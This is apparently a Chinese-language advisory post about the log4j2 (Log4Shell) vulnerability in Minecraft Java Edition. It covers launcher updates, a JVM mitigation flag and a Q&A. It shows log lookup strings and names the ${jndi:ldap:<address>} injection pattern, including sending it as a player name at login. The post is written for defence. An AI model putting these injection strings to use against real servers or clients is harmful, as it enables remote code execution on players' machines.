我的世界java版服务端、客户端存在安全隐患。

漏洞利用log4j2在打印日志时会自动将形如${...}的文本替换为功能文本,以实现显示日期、java版本等参数。玩家在服务器中发言都会被打印到日志中,你可以在聊天框这么写:

${date:YY-MM-DD:hh:mm:ss}

日志:

21-12-13:21:00:00

或:

${java:vm}

日志:

OpenJDK 64-Bit.....#吧啦吧啦
#不同电脑不同

这些功能是很强大的,而log4j2漏洞正是利用${jndi:ldap:<地址>}可以下载并执行代码的作用。攻击者首先搭建一个服务器,再在被攻击服务器上发送该信息,即可让服务器上的玩家通过日志执行恶意代码,如图:

java log文件 读写 java log.e_java


【由于找不到hkm所以中断了】

这是非常恐怖的事…

更可怕的是,游戏中任何可以打印日志的地方都可以被利用,如在登录阶段如果玩家连接丢失就会打印一条“xxx(id) 连接丢失:balabala(原因)”,而这个游戏id是客户端发送给服务端的,所以攻击者只需要把上面所说到的那个字符串作为玩家id然后再故意在登录阶段断开连接就可以实现相同的攻击效果,而根本不需要登入服务器!所以白名单是没有用的!

目前,包括Minecraft官启、PCL2、HMCL等多数官方或非官方的启动器都已启动紧急更新。Mojang官方已发布补丁。但网易我的世界暂时无反应(截至目前)
处理方式:
1.更新各启动器紧急更新版本:

  • PLC2:已发布紧急更新 2.2.7,更新到最新版并重启 MC 即可防御该漏洞。如果更新出现问题,请通过链接直接下载最新正式版。
  • BakaXL:已发布紧急更新,同样更新到最新版并重启 MC 即可。
  • HMCL:已发布紧急更新,同样更新到最新版并重启 MC 即可。
  • 其他启动器:请在启动器设置的 Java 虚拟机参数
-XX:+UseG1GC -XX:-UseAdaptiveSizePolicy -XX:-OmitStackTraceInFastThrow -Dfml.ignoreInvalidMinecraftCertificates=True -Dfml.ignorePatchDiscrepancies=True -Dlog4j2.formatMsgNoLookups=true

然后重启 MC,即可临时防御该漏洞。

提示

建议暂时关闭服务器,避免遭到攻击,然后参考该文章进行修复:

另外,我的世界ver.1.18.1及较低版本小概率遭打击,但还是建议安装修复补丁。
可以考虑访问链接下载修复mod,当然最好的还是官方补丁。


Q&A

Q:听说这个漏洞只影响服务端,我不开服是不是就不用管?
A:不,它也会影响客户端。只要你进入了多人游戏,你就有可能受到攻击。

Q:我如果不进服务器,还会被攻击吗?
A:如果你只玩单人游戏,大概就不会被影响。

Q:我的服务器是通过内网穿透开的,这会有影响吗?
A:问题出在 MC 的服务端,和你的开服手段没有任何关系。

Q:杀毒软件说最新版的 PCL2 是病毒?
A:因为这个版本是紧急更新的,误报病毒的反馈还在处理中,目前你可以先给 PCL2 添加杀毒软件白名单。明天就不会报毒了。

结语

注意:不止Minecraft,所有建立在java上的联机游戏都有安全隐患,只是以MC为首罢了。(MinecraftPE不受影响)
网络并非法外之地!遵纪守法从我做起!

-----THE END-----
THANK YOU !




本文部分参考资料:bilibili_DCS百度贴吧_我的世界吧